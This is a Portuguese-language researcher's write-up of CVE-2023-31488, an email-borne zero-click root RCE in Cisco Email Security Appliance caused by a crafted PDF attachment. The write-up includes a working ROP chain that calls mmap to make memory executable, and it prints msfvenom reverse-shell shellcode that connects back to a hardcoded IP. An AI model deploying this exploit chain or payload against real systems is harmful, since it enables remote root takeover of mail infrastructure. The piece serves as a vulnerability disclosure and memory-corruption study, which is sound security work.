Cisco Email Security Appliance: E-mail para zero-click RCE como root - Execução Remota de Código/Corrupção de Memória/ROP-chain
Pesquisador de segurança: ly1g3, ly1g3[at]tuta.io
Impressão digital GPG: https://keys.openpgp.org/vks/v1/by-fingerprint/5FE85CE4E8F675F5ABD2C0A33CE8BE447ED6D586
Visão geral: Email para RCE (Execução Remota de Código) com zero clique como root – Corrupção de Memória / Cadeia ROP
CVE: CVE-2023-31488
Linha do tempo:
Durante o fuzzing do Cisco Email Security Appliance (ESA), descobri uma vulnerabilidade no Lexmark Perceptive Filters, usado pelo ESA para sanitização de dados de anexos de email, resultando em RCE via email. A falha ocorre ao analisar um anexo PDF modificado. Alterando um ID de objeto PDF de dois dígitos, por exemplo:
Por exemplo:
13 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Alterar parte do ID de 13 para outra coisa (como um espaço) resulta em:
1 0 obj
<</Subtype/CIDFontType2/FontDescriptor
Enviar este PDF modificado em um email para o Cisco ESA causa uma falha de segmentação em libISYSpdf6.so. A falha ocorre porque r14 contém dados ASCII.
Uma inspeção mais detalhada mostra que esses dados vêm do conteúdo do anexo PDF sob nosso controle. O valor de r14 é Rect.
![]()
Teste ao alterar Rect para AAAA.
Como o valor de r14 é carregado a partir de dados no PDF, podemos modificá-lo para apontar para um endereço de memória válido. Após esse ajuste, outra falha ocorre devido a dados inválidos em RAX. Esses dados também são ASCII do PDF.
Modificamos o PDF para que rax também aponte para um endereço real e prosseguimos.

Ocorre uma nova falha; agora rsi contém dados ASCII do PDF.

Modificamos o PDF novamente para carregar um endereço de memória real.
Finalmente, chegamos a uma parte muito interessante do código. Onde controlamos rdi, que é usado para carregar um valor em rax. A instrução final nesta sequência é call rax. Agora estamos progredindo bem para alcançar capacidades de execução de código.
Mais uma vez entramos no editor hexadecimal e modificamos o valor carregado em rdi.

Agora temos uma forma de execução de código limitada e podemos pular para um único endereço. Como ASLR não está presente, encontrar endereços de memória é fácil. Também controlamos rdi e, portanto, usamos o gadget ROP inicial libISYSshared.so: push rdi; pop rsp; xor eax, eax para mover rdi para rsp e controlar a pilha. Apontamos a pilha para uma área que controlamos na região de memória do PDF, com uma pilha personalizada preparada com mais gadgets ROP.

Um shellcode de reverse shell para FreeBSD gerado pelo msfvenom é colocado na região de memória do PDF. Mas como a memória não é executável, primeiro precisamos torná-la executável.
shellcode = b'\x90'*100
buf = b""
buf += b"\x31\xc0\x83\xc0\x61\x6a\x02\x5f\x6a\x01\x5e\x48\x31"
buf += b"\xd2\x0f\x05\x49\x89\xc4\x48\x89\xc7\x31\xc0\x83\xc0"
buf += b"\x62\x48\x31\xf6\x56\x48\xbe\x00\x02\x1b\x58\xc0\xa8"
buf += b"\x64\x9f\x56\x48\x89\xe6\x6a\x10\x5a\x0f\x05\x4c\x89"
buf += b"\xe7\x6a\x03\x5e\x48\xff\xce\x6a\x5a\x58\x0f\x05\x75"
buf += b"\xf6\x31\xc0\x83\xc0\x3b\xe8\x08\x00\x00\x00\x2f\x62"
buf += b"\x69\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"
buf += b"\x52\x57\x48\x89\xe6\x0f\x05"
Como neste ponto controlamos a pilha, isso pode ser feito pela seguinte cadeia ROP para chamar mmap e definir a região de memória do shellcode como RWX.
rop += rebase_0(0x00000000000d0d30) # 0x00000000000d0d30: pop rdi; ret;
rop += p(pdf_data_base_address)
rop += rebase_0(0x00000000000692b2) # 0x00000000000692b2: pop rsi; ret;
rop += p(0x100000)
rop += rebase_0(0x00000000000d0cb3) # 0x00000000000d0cb3: pop rdx; ret;
rop += p(0x0000000000000007)
rop += rebase_0(0x0000000000019020) # 0x0000000000019020: pop rax; ret;
rop += p(0x4a)
rop += rebase_1(0x0000000001169f94) # 0x0000000001169f94: syscall; ret;
rop += rebase_0(0x000000000003be21) # 0x000000000003be21: call rsp;
Após mmap ser chamado, call rsp; executará o NOP-sled do nosso shellcode, já que o endereço do shellcode está próximo em nossa pilha personalizada. O shellcode é um reverse shell gerado pelo msfvenom.
Um ponto interessante é que este código é executado antes de qualquer verificação antivírus estática, portanto o reverse shell padrão do Metasploit funcionará perfeitamente.
Podemos usar o POC abaixo para criar um PDF funcional. Depois disso, basta enviá-lo em um email para o ESA para obter RCE. Veja minhas outras vulnerabilidades para escalonamento de privilégios.
E assim obtemos um shell remoto no ESA:
Este foi um projeto divertido que me ensinou muito sobre vulnerabilidades de corrupção de memória. Também mostra o quão boa é a proteção de memória "moderna" como ASLR, mas também que você ainda pode encontrar sistemas sem ASLR por aí.
ESA (Cisco Secure Email) ataque de estouro. Execução Remota de Código como root.
Ao enviar um arquivo PDF especialmente criado, um estouro permite que um atacante obtenha Execução Remota de Código Arbitrária no ESA e em outros produtos que usam Lexmark Perceptive Filters.
Este ataque de estouro permite que o atacante obtenha controle sobre uma instrução call rax, o que torna trivial pivotar para execução de código arbitrária, já que nenhum ASLR é usado no ESA. O código será executado como root.